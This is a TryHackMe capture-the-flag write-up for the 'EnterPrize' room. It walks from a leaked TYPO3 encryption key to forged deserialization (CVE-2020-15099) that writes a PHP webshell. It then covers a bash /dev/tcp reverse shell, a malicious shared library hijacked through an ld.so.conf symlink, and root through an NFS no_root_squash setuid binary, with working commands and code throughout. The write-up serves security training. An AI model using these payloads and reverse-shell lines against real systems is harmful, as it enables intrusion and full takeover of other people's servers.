
Difficulty: Hard
Room Link : https://tryhackme.com/room/enterprize
I’d read a couple of write-ups for this room during the process of solving it and honestly they left a lot out, a lot of “and then we exploit it” with no explanation of why something worked, or what to do when it didn’t. This is my attempt at writing the version I wish I’d had, mistakes and dead ends included. If you’re stuck on this room, I hope the parts where things broke are actually more useful to you than the parts where things went smoothly.
Recon
I always start with rustscan for a quick first pass, then confirm with a proper nmap scan.
rustscan -a <machine_ip>
Open <machine_ip>:22
Open <machine_ip>:80
Followed up with nmap against just those two ports to get service/version info:
nmap -sV -sC -p22,80 <machine_ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Blank Page
Added the machine to /etc/hosts:
<machine_ip> enterprize.thm
Port 80 exploration
curl -s http://enterprize.thm/
Response :
<html><head><title>Blank Page</title></head><body>Nothing to see here.</body></html>
Then
curl -s -I http://enterprize.thm/
HTTP/1.1 200 OK
Server: Apache
Content-Length: 85
Content-Type: text/html
A 200 with real content, just deliberately empty. That Content-Length: 85 turned out to matter later, hang onto it.
A blank-but-live page like this usually means there’s an app behind it that just isn’t rendering anything at /. Rather than brute-forcing directories blindly, I went after common leftover files first, config files, dependency manifests, that kind of thing, since those often survive even when the actual app is hidden or broken. ( if you check the hint for user flag in the room you will understand my choice ).
feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -C 403
Out of all the result found one useful pass
200 20l 39w 589c http://enterprize.thm/composer.json
I went after it
curl -s http://enterprize.thm/composer.json | jq
{
"name": "superhero1/enterprize",
"description": "THM room EnterPrize",
"type": "project",
"require": {
"typo3/cms-core": "^9.5",
"guzzlehttp/guzzle": "~6.3.3",
"guzzlehttp/psr7": "~1.4.2",
"typo3/cms-install": "^9.5",
"typo3/cms-backend": "^9.5",
"typo3/cms-extbase": "^9.5",
"typo3/cms-extensionmanager": "^9.5",
"typo3/cms-frontend": "^9.5",
"typo3/cms-introduction": "^4.0"
},
"license": "GPL",
"minimum-stability": "stable"
}This is the whole game right here, even if I didn’t know it yet:
- TYPO3 CMS v9.5.x — the CMS we’re dealing with
- guzzlehttp/guzzle: ~6.3.3 — an old, pinned version of a PHP HTTP client library. Write this one down. It comes back later as the key ingredient for the exploit.
A stock TYPO3 composer install has a specific folder layout, and the real web root usually lives under a public/ subfolder, not the domain root. Combined with the blank homepage, that told me the actual CMS probably wasn't being served from enterprize.thm directly, it was likely sitting on a different virtual host on the same Apache instance.
VHOST Enumeration
Apache can serve completely different sites off the same IP/port depending on the Host: header, so I brute-forced that header while keeping the target IP fixed:
ffuf -u 'http://enterprize.thm/' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc 200,301,302,403,503 -t 40
Let it run to completion, and if you want it clean, redirect to a file:
ffuf -u 'http://enterprize.thm/' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc 200,301,302,403,503 -t 40 -o vhost_results.json -of json
While I let that grind, I also just guessed a handful of obvious names directly, since TYPO3 multi-environment setups commonly use names like dev, test, staging:
for sub in test dev staging main maintest www admin; do
echo -n "$sub: "; curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Host: $sub.enterprize.thm" http://enterprize.thm/
done
Result:
test: 200 85
dev: 200 85
staging: 200 85
main: 200 85
maintest: 503 1713
www: 200 85
admin: 200 85
maintest stood out immediately, everything else fell back to the default 85-byte blank page, but this one gave a 503 with a completely different byte size. That's a strong sign of a real backend app that's currently erroring, not just a stub.
echo "<machine_ip> enterprize.thm maintest.enterprize.thm" | sudo tee -a /etc/hosts
curl -s -i http://maintest.enterprize.thm/
The 503 body turned out to be TYPO3’s own branded error page, orange TYPO3 logo, standard copyright footer, no leaked stack trace. But it confirmed the CMS was really running here.
Another set of probing :
curl -s -o /dev/null -w "%{http_code}\n" http://maintest.enterprize.thm/typo3/
curl -s -o /dev/null -w "%{http_code}\n" http://maintest.enterprize.thm/typo3conf/
curl -s -o /dev/null -w "%{http_code}\n" http://maintest.enterprize.thm/fileadmin/
curl -s -o /dev/null -w "%{http_code}\n" http://maintest.enterprize.thm/typo3temp//typo3/: 500
/typo3conf/: 200
/typo3conf/ext/: 200
/fileadmin/: 200
/typo3temp/: 200
/typo3conf/ returning a plain 200 instead of a 403 was the interesting one, that's not default TYPO3 behaviour. It meant directory listing was left enabled.
The leaked config file
curl -s http://maintest.enterprize.thm/typo3conf/
<h1>Index of /typo3conf</h1>
<a href="LocalConfiguration.old">LocalConfiguration.old</a> 2021-01-03 20:16 5.3K
<a href="LocalConfiguration.php">LocalConfiguration.php</a> 2021-01-03 20:00 5.3K
<a href="PackageStates.php">PackageStates.php</a> 2021-01-03 20:00 1.8K
<a href="ext/">ext/</a>
<a href="l10n/">l10n/</a>
Remember the hint from the user flag ? Yes
LocalConfiguration.old is the one that matters. LocalConfiguration.php would just get executed by Apache and render as a normal (probably blank) page if we tried to view it, since it's still a .php file. But .old isn't a recognised PHP extension, so Apache just serves it as plain text, and that's TYPO3's live config sitting there in the clear.
curl -s http://maintest.enterprize.thm/typo3conf/LocalConfiguration.old
part of the whole response that matters :
'DB' => [
'Connections' => [
'Default' => [
'password' => 'password1',
'user' => 'typo3user',
],
],
],
'SYS' => [
'encryptionKey' => '712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b',
],
The installToolPassword was redacted in this room build, so that route was a dead end, fine, we didn't need it.
Why the encryptionKey matters (this is the part I wish someone had actually explained to me instead of just saying "leak the key and exploit it"):
TYPO3’s Form Framework needs to carry some state between form steps. Since HTTP is stateless, it puts that state into a hidden field and sends it back to the client, then trusts whatever comes back, but only after checking a signature. That signature is an HMAC, computed using the server’s secret encryptionKey. If you have the key, you can compute your own valid signature for anything you want, including a malicious serialized PHP object. TYPO3 checks the signature, sees it's "valid," and deserializes your object without suspicion.
This is CVE-2020–15099. PHP object deserialization of attacker-controlled data is dangerous because some classes run code automatically via “magic methods” like __destruct the moment the object exists. If a class with a dangerous __destruct is loadable, you get real side effects, like writing a file, just by being deserialized. This is called a gadget chain, and it's why we cared about that pinned Guzzle version in composer.json earlier: older Guzzle versions have a known, public gadget chain.
Finding the form
The homepage was a 503 (more on why later), but that doesn’t mean every page is broken — TYPO3 renders per-page based on ?id=N. I initially tried brute-forcing IDs 1-60 before I thought to just... read the HTML I already had. When I finally fetched id=1 successfully, the nav bar told me exactly where the form lived:
<a href="/index.php?id=38" class="dropdown-item" title="Form elements">
curl -s "http://maintest.enterprize.thm/index.php?id=38" -o form_page.html
Inside, the actual <form> block:
<form action="/index.php?id=38&tx_form_formframework%5Baction%5D=perform
&tx_form_formframework%5Bcontroller%5D=FormFrontend
&cHash=63896b2174306c4f96ada29453d1cd18#contactForm-144">
<input type="hidden" name="tx_form_formframework[contactForm-144][__state]"
value="TzozOToiVFlQTzNcQ01T...c36a0271e1826d292e88616d6f0f26e5d832a9f9" />
<input type="hidden" name="tx_form_formframework[__trustedProperties]"
value="a:1:{s:15:"contactForm-144";...}0d478b018403d21f39708112653501a774fa9dd3" />
<input autocomplete="w36kLH0XjfxTZnrBpRcQ" type="text"
name="tx_form_formframework[contactForm-144][w36kLH0XjfxTZnrBpRcQ]" />
Three things to notice here:
- __state — base64 blob + a 40-character hex tail. That tail is the SHA1 HMAC signature. This is the field we're going to replace.
- __trustedProperties — a separate integrity check that just confirms the submitted field names match what was rendered. We leave this one alone since we're not adding/removing fields.
- A hidden honeypot input with a random field name (w36kLH0XjfxTZnrBpRcQ here) — a basic anti-bot measure. Its name changes on every single page load and its length isn't fixed (I got tripped up by this later — more below).
Building the exploit payload
Step 1 — A webshell. I started with a simple one:
echo '<?php system($_GET["c"]); ?>' > /tmp/shell.php
Step 2 — generate the serialized Guzzle gadget with phpggc.
git clone https://github.com/ambionics/phpggc /tmp/phpggc
cd /tmp/phpggc
./phpggc -l Guzzle
NAME VERSION TYPE
Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE
I picked Guzzle/FW1, and here's the actual reasoning, our composer.json pinned Guzzle to ~6.3.3. Guzzle/RCE1 only covers up to 6.3.2 — one patch version too old, doesn't match. Guzzle/FW1 covers 4.0.0-rc.2 through 7.5.0+, which comfortably includes 6.3.3. Match the version range to what you actually confirmed the target runs.
PHP’s internal object serialization format can differ subtly between versions, and TYPO3 9.5 needs PHP 7.2–7.4, so I generated the payload inside a matching Docker container rather than using my host’s (much newer) PHP ( got the inspiration to use docker from one of the writeups) :
docker pull php:7.2-cli
docker run --rm -v /tmp/phpggc:/phpggc -v /tmp:/tmpdata php:7.2-cli php /phpggc/phpggc \
--base64 --fast-destruct Guzzle/FW1 \
/var/www/html/public/fileadmin/_temp_/shell.php /tmpdata/shell.php > /tmp/serialized_payload.txt
Gotcha #1: phpggc tries to autoload every gadget chain file up front, including ones totally unrelated to what you’re using. One of them (Sulu/RCE/3) used PHP syntax that PHP 7.2 inside the container couldn't parse, and the whole thing failed with a Parse error before even reaching our gadget. Fix was just to delete the offending folder since we didn't need it:
rm -rf /tmp/phpggc/gadgetchains/Sulu
re-ran it and some those packages still popped up to cause parse error , just keep on removing them, till you get a clean base64 blob out.
Step 3 — compute the HMAC. The signature has to be computed over the exact base64 string, using the leaked encryptionKey, algorithm SHA1 (confirmed from TYPO3's own source — HashService::generateHmac() uses hash_hmac('sha1', ...)):
KEY="712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b"
PAYLOAD=$(cat /tmp/serialized_payload.txt)
HMAC=$(printf '%s' "$PAYLOAD" | openssl dgst -sha1 -hmac "$KEY" | awk '{print $2}')
Using printf '%s' instead of echo matters — echo can silently add a trailing newline that would produce a completely different, wrong HMAC.
Submitting the exploit (and everything that might go wrong)
I wrote a script to fetch a fresh copy of the form, extract the current cHash, __trustedProperties, and honeypot field name, then submit the forged __state. I'm including the failures here because they ate way more time than the actual exploit did.
Problem 1 — the box kept crashing. This TYPO3 install is genuinely fragile. A couple of heavy ffuf runs plus rapid curl loops during recon pushed it into a state where every page — root, id=1, everything ,returned 503, and it didn't recover on its own even after several minutes' rest. Both reference writeups I'd read mention this obliquely ("the app crashes and returns 503") but I hit it hard and had to fully redeploy the box more than once to get a clean instance back.
Problem 2 — stale tokens after a redeploy. After redeploying, my form submissions kept failing with a generic 500, even using values captured straight off a freshly loaded page. Turned out cHash and the honeypot field are tied to the current page load/session, reusing anything captured before a redeploy (different IP, different session) is worthless. Lesson: fetch the form immediately before building and submitting the payload, in one uninterrupted sequence, not across a gap.
(For what it’s worth, the encryptionKey itself stayed identical across redeploys, it's baked into the room build, not regenerated per-instance. Worth confirming per redeploy anyway rather than assuming.)
Problem 3 — my honeypot-field regex was wrong. I wrote a script assuming the honeypot’s random field name was always exactly 20 characters. It isn’t I saw both 20-character and 24-character versions across different page loads. Fixed by widening the regex to a range:
grep -oP 'autocomplete="\K[A-Za-z0-9]{15,30}(?=")' form_now.htmlProblem 4 — the actual bug. Once tokens were fresh and extraction was working, the exploit submission returned a 500, and hitting the uploaded shell.php directly gave an empty HTTP/1.0 500 with zero content length,not even a normal error page, just PHP dying outright.
I decoded my own serialized payload locally to check it wasn’t corrupted:
base64 -d < /tmp/serialized_payload.txt | strings
...s:5:"Value";s:29:"<?php system($_GET["c"]); ?>
";}}}...
The payload itself was intact. So I went and read the actual gadget chain source phpggc uses:
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies = true;
public function __construct($filename, $data) {
parent::__construct($data);
$this->filename = $filename;
}
}The real Guzzle FileCookieJar::save() method (the one actually installed on the target, not phpggc's stub) JSON-encodes the cookie data before writing it to disk. JSON escaping turns every " inside my webshell string into \". So the bytes actually written to the target's disk looked like:
..."Value":"<?php system($_GET[\"c\"]); ?>"...
PHP sees <?php, starts executing, and immediately hits a stray backslash sitting outside any string context — a hard parse error, fatal enough that PHP can't even format a normal HTTP response.
The fix: use single quotes in the webshell instead of double quotes. JSON only escapes double quotes, backslashes, and a few control characters single quotes pass straight through untouched.
echo "<?php system(\$_GET['c']); ?>" > /tmp/shell.php
Regenerated the payload with this corrected shell, resubmitted, and:
curl -s "http://maintest.enterprize.thm/fileadmin/_temp_/shell.php?c=id"
[{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)\n"}]Code execution. If your file-write gadget payload keeps crashing PHP with an empty response and you’re using Guzzle’s FileCookieJar, check your quoting before you assume it's a PHP version mismatch, I burned a good chunk of time testing 7.2/7.3/7.4 before realising the actual bug was quoting, not versioning.
From webshell to a real shell
Command output comes back wrapped in that Guzzle JSON structure, which is annoying to keep parsing by eye, so I wanted a proper shell. First checked what tools were actually usable — that blocked group in the id output was a hint that something was restricted:
curl -s "http://maintest.enterprize.thm/fileadmin/_temp_/shell.php?c=which+nc+ncat+bash+python3+awk+curl+wget+2>%261"
No nc, no python3. But bash was there, and bash has a built-in /dev/tcp pseudo-device that opens raw TCP sockets without needing any external tool:
nc -lvnp 9999
curl -s "http://maintest.enterprize.thm/fileadmin/_temp_/shell.php" \
--data-urlencode 'c=bash -c "bash -i >& /dev/tcp/<MY_IP>/9999 0>&1"' -G
connect to [<MY_IP>] from (UNKNOWN) [<machine_ip>] 38976
www-data@enterprize:/var/www/html/public/fileadmin/_temp_$
Worked on the first try , didn’t even need the awk-based fallback.
Privilege escalation: www-data → john
cd /home/john/develop
ls -la
drwxrwxrwt 2 john john 4096 Jan 3 2021 .
-r-xr-xr-x 1 john john 16640 Jan 2 2021 myapp
-rw-rw-r-- 1 john john 44 Aug 17 21:12 result.txt
develop is world-writable with a sticky bit (like a mini /tmp), myapp isn't writable directly, and result.txt had just been updated seconds before I looked, meaning a cron job is actively re-running myapp on some interval.
ldd myapp
libcustom.so => /usr/lib/libcustom.so
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
myapp links against a custom library. We can't overwrite /usr/lib/libcustom.so directly, but the actual vulnerability is in how the dynamic linker finds libraries
cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
ls -la /etc/ld.so.conf.d/
lrwxrwxrwx 1 root root 28 Jan 3 2021 x86_64-libc.conf -> /home/john/develop/test.conf
There it is. A symlink that the dynamic linker’s config includes, pointing to a file that doesn’t exist yet — inside a directory we can write to. Whatever directory path we put inside that file becomes an extra place the linker searches for shared libraries. If our own malicious libcustom.so sits there, it can get loaded instead of the real one.
Built a malicious library on my own machine (needs to export a do_ping function, since that's what myapp actually calls, confirmed with ltrace ./myapp earlier):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void do_ping(){
system("/bin/bash -c 'bash -i >& /dev/tcp/<MY_IP>/9998 0>&1'");
}
gcc -shared -o libcustom.so -fPIC libcustom.c
Served it from my machine, pulled it onto the target via the www-data shell (which had working curl/wget):
inside the /tmp directory on my machine :
python3 -m http.server 8000
in our initial reverse shell ( www-data ):
curl -s http://<MY_IP>:8000/libcustom.so -o /home/john/develop/libcustom.so
echo '/home/john/develop' > /home/john/develop/test.conf
Opened another terminal tab on my machine to start a second listener:
nc -lvnp 9998
Then you wait . First cron cycle after placing the files didn’t trigger anything, result.txt got rewritten but stayed empty, which told me the library cache (ldconfig) hadn't actually re-scanned our new search path yet; placing the config file and the cache refresh aren't the same moment. Waited for the next cycle:
connect to [<MY_IP>] from (UNKNOWN) [<machine_ip>] 38912
john@enterprize:~$ cat user.txt
THM{ redacted }
And you got the user flag
Privilege escalation: john → root
ss -nlpt
LISTEN 0 64 0.0.0.0:2049 0.0.0.0:*
Port 2049 = NFS.
cat /etc/exports
/var/nfs localhost(insecure,rw,sync,no_root_squash,no_subtree_check)
no_root_squash is the key phrase. Normally NFS "squashes" a remote root user down to an unprivileged nobody UID as a safety measure. With this option disabled, files we create as root, on our own machine, keep root ownership when written into the shared export, even though we're mounting as a regular user.
The export line restricts connections to localhost, though, and I don't have a shell tool with a client already running locally on the target — so I needed to reach it as if I were local. Set up SSH access for a clean port forward.
Small detour: I tried to add my existing SSH key to authorized_keys on the target and hit two separate annoyances, pasting a long key into the reverse shell corrupted it (line wrapping split it across multiple lines), and then when I finally got a clean copy in, ssh prompted for a passphrase I didn't remember setting on that particular key. Cleanest fix was generating a brand new, dedicated, passphrase-free keypair just for this box:
ssh-keygen -t ed25519 -f ~/.ssh/enterprize_key -N ""
Added the new public key using a heredoc instead of a plain echo (much more resistant to terminal line-wrapping issues):
cat > ~/.ssh/authorized_keys << 'PUBKEY'
ssh-ed25519 AAAA... my-key-here
PUBKEY
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Confirmed it worked, then reconnected with a local port forward so the target’s local-only NFS port appears as if it’s on my own machine:
ssh -i ~/.ssh/enterprize_key [email protected] -N -L 2049:127.0.0.1:2049
Opened another tab on my terminal :
sudo mount -t nfs 127.0.0.1:/var/nfs /tmp/nfs/
Became root locally on my own machine and planted a setuid binary in the mount:
sudo su
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
ls -la /tmp/nfs/rootbash
-rwsr-sr-x 1 root root 1384752 Aug 17 22:35 /tmp/nfs/rootbash
Setuid bit set, root-owned, exactly what no_root_squash is supposed to let us do.
One more snag worth mentioning: running that binary directly from the target the first time gave:
error while loading shared libraries: libtinfo.so.6: cannot open shared object file
My Kali /bin/bash was linked against library versions that don't exist on this older Ubuntu target — the setuid bit and ownership transfer over NFS worked fine, the binary itself just couldn't start due to missing dependencies. The clean fix is to copy bash from the target itself rather than bringing your own:
scp -i ~/.ssh/enterprize_key [email protected]:/bin/bash /tmp/target_bash
then (as root, locally):
cp /tmp/target_bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
That guarantees the binary’s dependencies already match the environment it’s going to run in. On the target (john):
/var/nfs/rootbash -p
id
The -p flag matters, bash normally drops elevated privileges on startup as a safety measure unless you explicitly tell it to preserve them.
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
You are ROOT
cat /root/root.txt
The End . Hope you enjoy this write up , if there is any question or clarification, you can drop it in the comment . Happy Hacking

EnterPrize — TryHackMe Writeup was originally published in System Weakness on Medium, where people are continuing the conversation by highlighting and responding to this story.